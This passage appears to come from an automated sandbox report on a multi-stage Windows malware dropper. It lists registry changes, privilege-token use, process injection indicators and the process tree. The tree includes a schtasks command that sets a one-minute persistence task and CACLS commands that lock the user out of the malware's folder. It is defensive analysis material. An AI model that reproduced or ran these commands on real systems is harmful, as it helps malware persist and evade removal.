| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1872 = "Russia TZ 7 Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2412 = "Marquesas Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2062 = "North Korea Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2181 = "Astrakhan Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2611 = "Bougainville Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1802 = "Line Islands Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2841 = "Saratov Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2871 = "Magallanes Daylight Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2572 = "Turks and Caicos Standard Time" | C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: GetForegroundWindowSpam
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Explorer.EXE | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\3bZ71yk.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\toolspub2.exe | N/A |
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\4545.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WerFault.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
Suspicious use of FindShellTrayWindow
Suspicious use of SendNotifyMessage
Suspicious use of UnmapMainImage
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Explorer.EXE | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
C:\Users\Admin\AppData\Local\Temp\bd7c9bf28033b40a9a7915b1718589d147be884b09cf25f5f0b4628344911ff4.exe
"C:\Users\Admin\AppData\Local\Temp\bd7c9bf28033b40a9a7915b1718589d147be884b09cf25f5f0b4628344911ff4.exe"
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\jN6sh25.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\jN6sh25.exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\VW3RY89.exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\VW3RY89.exe
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\cA2Bb69.exe
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\cA2Bb69.exe
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\xE6uU43.exe
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\xE6uU43.exe
C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\JB2jr05.exe
C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\JB2jr05.exe
C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1EN31Do1.exe
C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1EN31Do1.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2yu2241.exe
C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2yu2241.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 364 -p 4464 -ip 4464
C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\3bZ71yk.exe
C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\3bZ71yk.exe
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4464 -s 540
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\4JS032rO.exe
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\4JS032rO.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\5RR0Jt9.exe
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\5RR0Jt9.exe
C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe
"C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe"
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\6Yt1Fo5.exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\6Yt1Fo5.exe
C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN explothe.exe /TR "C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe" /F
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "explothe.exe" /P "Admin:N"&&CACLS "explothe.exe" /P "Admin:R" /E&&echo Y|CACLS "..\fefffe8cea" /P "Admin:N"&&CACLS "..\fefffe8cea" /P "Admin:R" /E&&Exit
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
C:\Windows\SysWOW64\cacls.exe
CACLS "explothe.exe" /P "Admin:N"
C:\Windows\SysWOW64\cacls.exe
CACLS "explothe.exe" /P "Admin:R" /E
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
C:\Windows\SysWOW64\cacls.exe
CACLS "..\fefffe8cea" /P "Admin:N"
C:\Windows\SysWOW64\cacls.exe
CACLS "..\fefffe8cea" /P "Admin:R" /E
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\7lO5iB92.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\7lO5iB92.exe
C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\1D37.tmp\1D38.tmp\1D39.bat C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\7lO5iB92.exe"
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/login
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x168,0x16c,0x170,0x144,0x174,0x7ff912c946f8,0x7ff912c94708,0x7ff912c94718
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x160,0x164,0x168,0x13c,0x16c,0x7ff912c946f8,0x7ff912c94708,0x7ff912c94718
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ff912c946f8,0x7ff912c94708,0x7ff912c94718
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2116 /prefetch:2
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 /prefetch:3
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2192,17594325986548829259,6179915841968929475,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2216 /prefetch:2
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2092,16655403047217582238,17528098839259996470,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2632 /prefetch:8
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2116,13904799393368316218,9347351365929737179,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 /prefetch:3
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
